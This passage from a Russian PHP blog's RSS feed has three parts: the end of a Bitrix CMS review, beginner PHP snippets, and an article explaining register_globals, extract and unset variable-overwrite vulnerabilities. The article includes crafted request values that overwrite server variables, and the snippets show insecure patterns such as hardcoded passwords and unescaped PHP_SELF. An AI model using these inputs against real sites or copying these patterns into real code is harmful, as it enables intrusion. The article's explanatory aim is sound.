<p>Основные функциональные возможности системы: публикация списков сотрудников компании, коллективная работа в рабочих группах, общие и персональные календари событий, график отсутствий сотрудников, общее хранилище документов с возможностью поиска, система документооборота, корпоративный поиск информации на портале, система резервирования переговорных, работа с электронными заявками (оформление пропусков, заказ транспорта и т. д.), двунаправленная интеграция с Microsoft Outlook, внутрикорпоративное общение (с помощью мгновенных сообщений), управление задачами и поручениями, встроены инструменты для визуального проектирования бизнес-процессов и др.</p>
<p>Система поставляется в трёх редакциях: <strong>Интранет, Экстранет, Бизнес-процессы</strong>.</p>
<p><strong>Преимущества для разработчика</strong><br />
Одной из самых привлекательных особенностей «1С-Битрикс: Управление сайтом» для разработчика является механизм информационных блоков (инфоблоков). Он позволяет легко создавать пользовательские типы содержания (например для различных каталогов). При этом способы работы с инфоблоками Битрикс по возможности приближена к способам работы со справочниками платформы 1С:Предприятие.</p>
<p>Другой особенностью современных версий Битрикса является мощный визуальный HTML-редактор, позволяющий размещать на странице как обычную HTML информацию, так и различные динамические компоненты, работу которых обеспечивает CMS. Однако этот редактор имеет и ряд ограничений.</p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/about-cms/%d0%be%d0%b1%d0%b7%d0%be%d1%80-1c-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81-cms/","Обзор 1C-Битрикс CMS")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/about-cms/%d0%be%d0%b1%d0%b7%d0%be%d1%80-1c-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81-cms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Несколько скриптов на PHP для новичков</title>
		<link>http://phpmind.ru/php-scripts/%d0%bd%d0%b5%d1%81%d0%ba%d0%be%d0%bb%d1%8c%d0%ba%d0%be-%d1%81%d0%ba%d1%80%d0%b8%d0%bf%d1%82%d0%be%d0%b2-%d0%bd%d0%b0-php-%d0%b4%d0%bb%d1%8f-%d0%bd%d0%be%d0%b2%d0%b8%d1%87%d0%ba%d0%be%d0%b2/</link>
		<comments>http://phpmind.ru/php-scripts/%d0%bd%d0%b5%d1%81%d0%ba%d0%be%d0%bb%d1%8c%d0%ba%d0%be-%d1%81%d0%ba%d1%80%d0%b8%d0%bf%d1%82%d0%be%d0%b2-%d0%bd%d0%b0-php-%d0%b4%d0%bb%d1%8f-%d0%bd%d0%be%d0%b2%d0%b8%d1%87%d0%ba%d0%be%d0%b2/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 07:58:05 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Скрипты]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[новичек]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[чайник]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=148</guid>
		<description><![CDATA[
Эта статья вообще-то должна была быть в самом начале моего блога, но я ее просто забыл разместить.
Но как говорится &#8220;Лучше поздно, чем никогда&#8221;.
Я считаю, что Вас(новичков) эти скрипты поставят на путь истиный  

Форсируем SSL соединение
if &#40;$_SERVER&#91;'HTTPS'&#93; != &#34;on&#34;&#41; &#123; &#160;
&#160; header&#40;&#34;Location: https://&#34;.$_SERVER&#91;'SERVER_NAME'&#93;.$_SERVER&#91;'PHP_SELF'&#93;&#41;; 
&#160; exit; &#160;
&#125;
Узнаем дату
$today = getdate&#40;&#41;; 
$month = $today&#91;'month'&#93;; 
$mday = $today&#91;'mday'&#93;; [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://i082.radikal.ru/1002/6a/bd1f2226f85e.gif" alt="php for dummies" /></p>
<p>Эта статья вообще-то должна была быть в самом начале моего блога, но я ее просто забыл разместить.<br />
Но как говорится &#8220;Лучше поздно, чем никогда&#8221;.</p>
<p>Я считаю, что Вас(новичков) эти скрипты поставят на путь истиный <img src='http://phpmind.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><span id="more-148"></span></p>
<p><strong>Форсируем SSL соединение</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTPS'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: https://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_SELF'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span> &nbsp;<br />
<span style="color: #009900;">&#125;</span></div></div>
<p><strong>Узнаем дату</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$today</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/getdate"><span style="color: #990000;">getdate</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$month</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$today</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'month'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$mday</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$today</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mday'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$year</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$today</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'year'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></div></div>
<p><strong>Рандомная подгрузка</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$selectnumber</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/rand"><span style="color: #990000;">rand</span></a> <span style="color: #009900;">&#40;</span>1<span style="color: #339933;">,</span> 5<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$selectnumber</span><span style="color: #339933;">==</span>1<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$pagebg</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#990000&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$selectnumber</span><span style="color: #339933;">==</span>2<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$pagebg</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#0000FF&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$selectnumber</span><span style="color: #339933;">==</span>3<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$pagebg</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#00AAAA&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$selectnumber</span><span style="color: #339933;">==</span>4<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$pagebg</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#000099&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$selectnumber</span><span style="color: #339933;">==</span>5<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$pagebg</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#DDDD00&quot;</span><span style="color: #339933;">;</span></div></div>
<p><strong>Легкий способ отобразить содержимое папки</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;/home/user/public/foldername/&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$dir_handle</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/opendir"><span style="color: #990000;">opendir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Unable to open <span style="color: #006699; font-weight: bold;">$path</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/readdir"><span style="color: #990000;">readdir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;.&quot;</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;..&quot;</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;index.php&quot;</span> <span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;a href=<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #006699; font-weight: bold;">$file</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;<span style="color: #006699; font-weight: bold;">$file</span>&lt;/a&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
<a href="http://www.php.net/closedir"><span style="color: #990000;">closedir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p><strong>Простой способ оптимизировать базу данных</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dbConnect<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #000088;">$alltables</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SHOW TABLES&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_fetch_assoc"><span style="color: #990000;">mysql_fetch_assoc</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$alltables</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp;<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$db</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$tablename</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;OPTIMIZE TABLE '&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$tablename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;or <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/mysql_error"><span style="color: #990000;">mysql_error</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span></div></div>
<p><strong>Создаем запароленую страницу</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <br />
<span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;someuser&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;somepassword&quot;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'txtUsername'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$username</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'txtPassword'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000000; font-weight: bold;">?&gt;</span> <br />
&nbsp;&lt;h1&gt;Login&lt;/h1&gt; <br />
&nbsp;&lt;form name=&quot;form&quot; method=&quot;post&quot; action=&quot;<span style="color: #000000; font-weight: bold;">&lt;?=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_SELF'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt; <br />
&nbsp; &nbsp; &nbsp; &lt;p&gt;&lt;label for=&quot;txtUsername&quot;&gt;Username:&lt;/label&gt; <br />
&nbsp; &nbsp; &nbsp; &lt;br&gt;&lt;input type=&quot;text&quot; title=&quot;Enter your Username&quot; name=&quot;txtUsername&quot;&gt;&lt;/p&gt; <br />
<br />
&nbsp; &nbsp; &nbsp; &lt;p&gt;&lt;label for=&quot;txtpassword&quot;&gt;Password:&lt;/label&gt; <br />
&nbsp; &nbsp; &nbsp; &lt;br&gt;&lt;input type=&quot;password&quot; title=&quot;Enter your password&quot; name=&quot;txtPassword&quot;&gt;&lt;/p&gt; <br />
&nbsp; &lt;p&gt;&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Login&quot;&gt;&lt;/p&gt; <br />
&nbsp;&lt;/form&gt; <br />
<span style="color: #000000; font-weight: bold;">&lt;?</span><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #000000; font-weight: bold;">?&gt;</span> <br />
&nbsp; &nbsp; &lt;p&gt;This is the protected page. Your private content goes here.&lt;/p&gt; <br />
<span style="color: #000000; font-weight: bold;">&lt;?</span><span style="color: #009900;">&#125;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-scripts/%d0%bd%d0%b5%d1%81%d0%ba%d0%be%d0%bb%d1%8c%d0%ba%d0%be-%d1%81%d0%ba%d1%80%d0%b8%d0%bf%d1%82%d0%be%d0%b2-%d0%bd%d0%b0-php-%d0%b4%d0%bb%d1%8f-%d0%bd%d0%be%d0%b2%d0%b8%d1%87%d0%ba%d0%be%d0%b2/","Несколько скриптов на PHP для новичков")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-scripts/%d0%bd%d0%b5%d1%81%d0%ba%d0%be%d0%bb%d1%8c%d0%ba%d0%be-%d1%81%d0%ba%d1%80%d0%b8%d0%bf%d1%82%d0%be%d0%b2-%d0%bd%d0%b0-php-%d0%b4%d0%bb%d1%8f-%d0%bd%d0%be%d0%b2%d0%b8%d1%87%d0%ba%d0%be%d0%b2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Роковые ошибки в PHP</title>
		<link>http://phpmind.ru/php-articles/%d1%80%d0%be%d0%ba%d0%be%d0%b2%d1%8b%d0%b5-%d0%be%d1%88%d0%b8%d0%b1%d0%ba%d0%b8-%d0%b2-php/</link>
		<comments>http://phpmind.ru/php-articles/%d1%80%d0%be%d0%ba%d0%be%d0%b2%d1%8b%d0%b5-%d0%be%d1%88%d0%b8%d0%b1%d0%ba%d0%b8-%d0%b2-php/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 07:26:13 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Cтатьи]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php article]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[пхп статья]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=146</guid>
		<description><![CDATA[
В этой большой статье я попытаюсь рассказать Вам про наиболее опасные ошибки в PHP, которые, как я думаю Вы еще не знали. Наиболее опасные ошибки это глобальные переменные, про которые большенство программистов просто забывают и даже иногда пытаются их перезаписывать с полной потерей данных. Читайте мою статью и узнаете очень много нового ( если даже [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://s002.radikal.ru/i197/1002/0a/70f05e47b6db.gif" alt="php mistakes " /></p>
<p>В этой большой статье я попытаюсь рассказать Вам про наиболее опасные ошибки в PHP, которые, как я думаю Вы еще не знали. Наиболее опасные ошибки это глобальные переменные, про которые большенство программистов просто забывают и даже иногда пытаются их перезаписывать с полной потерей данных. Читайте мою статью и узнаете очень много нового ( если даже вы и профи в своем деле ).</p>
<p>Поехали&#8230;<br />
<span id="more-146"></span></p>
<p><strong>REGISTER_GLOBALS</strong><br />
Одной из самых опасных уязвимостей в веб приложениях по-прежнему остается перезапись глобальных переменных , которая может<br />
привести к разным последствиям &#8211; начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой<br />
ветки php появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET,POST,COOKIE массивов.</p>
<p>Рассмотрим классический пример global overwrite , создав простой php скрипт с всего лишь одной строчкой кода.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'example'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></div></div>
<p>Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=itdefence , в результате<br />
увидем высвеченное значение itdefence. Некорректно обрабатывать обнуление переменных только из GET/POST массивов ,<br />
передав дополнительный заголовок браузера мы получим тотже самый результат.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">cookie <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">example</span><span style="color: #339933;">=</span>itdefence</div></div>
<p><strong>_FILES GLOBAL MODE</strong><br />
Недавно люди из hardened-php опубликовали описание нового способа перезаписать значение переменной , используя загрузку файла.<br />
Это происходит потому что _FILES является частью массива _POST . Для начала напишем скрипт отправки и приема загруженных файлов.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;form method=&quot;post&quot; action=&quot;example.php&quot; encode=&quot;multipart/form-data&quot;&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=&quot;file&quot; name=&quot;example&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &lt;/form&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;example&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/copy"><span style="color: #990000;">copy</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;filename&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'example'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Пробуем залить файл с именем itdefence.txt и видим в качестве результата не только залитый файл , но и присовоенное значение<br />
переменной example значение itdefence.</p>
<p><strong>GLOBALS OVERWRITE</strong><br />
Поскольку большинство систем работает только с включенным режимом register_globals , а многие веб хостинг с целью обеспечения<br />
безопасности своих клиентов отключают эту переменную , программисты придумали пару методов для помещений перемен в область<br />
глобального видения , которые в реализации гораздо легче чем изготовление патчей . Одной из таких функций является<br />
import_request_variables , в качестве параметра выступает строка , определяющая порядок помещения переменных в superglobal<br />
из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные пришедшие с клиентской<br />
стороны. Стоит использовать import_request_variables вместе со вторым параметром &#8211; префиксом будущих функций . Несмотря на то ,<br />
что баг был обнаружен в 2005 году , ему небыло присвоено критическое значение .</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> &nbsp; &nbsp;<a href="http://www.php.net/import_request_variables"><span style="color: #990000;">import_request_variables</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;GPC&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=itdefence , мы перезапишем ключ массива , содержащий в себе адрес посетителя,<br />
а так как многие системы управления контентом не фильтруют этот на первый взгляд безопасный параметр , рождается куча способ атаки &#8211; от<br />
снятия блокировки на сайте до выполнения произвольного sql кода.</p>
<p>Вторая , не менее опасная и распространенная функция для эмуляции register_globals является extract . Чтобы избежать перезаписи уже<br />
существующих переменных рекоммендуется использовать флаг EXTR_SKIP , который при попытки поместить переменную в глобальное окружение<br />
проверит на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> &nbsp; &nbsp;<a href="http://www.php.net/extract"><span style="color: #990000;">extract</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p><strong>UNSET WHACKING</strong><br />
Обнаруженная в конце 2006 года и уже успев стать популярной , уязвимость в вызываемой функции unset , изначально именуемой<br />
Zend_Hash_Del_Key_Or_Index достойна отдельного внимания . Ровно шесть месяцев ушло у авторов php на устранение этой критический<br />
уязвимости.Для того чтобы лучше понять суть бага , надо понять основы хранения данных в php . Zend Engine HashTables является<br />
&#8220;контейнером&#8221; для информации , поступишвей со стороны клиента , такие как суперглобальные массивы COOKIE , POST , GET .<br />
HashTable хранит ключи-указатели на содержимое переменных , и как оказалось несет в себе критический баг &#8211; подставив цифровое<br />
значение переменной можно перезаписать буквенно-цифровое представление . Такие уязвимости могут быть проэксплуатированны только<br />
в случае включенного потенциально-опасного параметра register_globals в настройках php . Хэш-таблицы Zend Engine &#8220;знают&#8221; два<br />
типа индексов в PHP4: цифровые и буквенно-цифровые . Если индекс состоит только с цифр он автоматически обрабатывается<br />
как цифровой . В PHP5 это нетак , поскольку PHP5 &#8220;знает&#8221; о таблицах имён и о простых хэш-таблицах . В таблицах имён цифровые<br />
индексы все ещё обрабатываются автоматически . </p>
<p>Брешь заключается в некорректном условии проверки &#8211; если мы пытаемся вызвать unset для цифро-буквенной переменной и в списке<br />
переменных есть цифровой хэш ключ с идентичным значением , то php удалит ключ но не саму переменную , то есть после вызова<br />
unset мы можем использовать значение в дальнейшем . Для нас является положительным тот факт что unset чаще всего используется<br />
в начале кода для того чтобы принудительно запретить использование опасных ключей . </p>
<p>Указать ключ переменной можно не только при включенном superglobals моде , но и упомянув значение в массиве _FILES<br />
о чем я писал выше . Так был написан эксплоит для форумного скрипта vBulletin и популярного блог движка WordPress .</p>
<p>Расмотрим реализацию на примере AjaxChat.Последнюю версию можно взять с ajchat.sourceforge.net . Авторы данного чата<br />
позволяют создавать виртуальные комнаты только состоящие из букв , что явно видно в этом участке кода</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strtoupper"><span style="color: #990000;">strtoupper</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
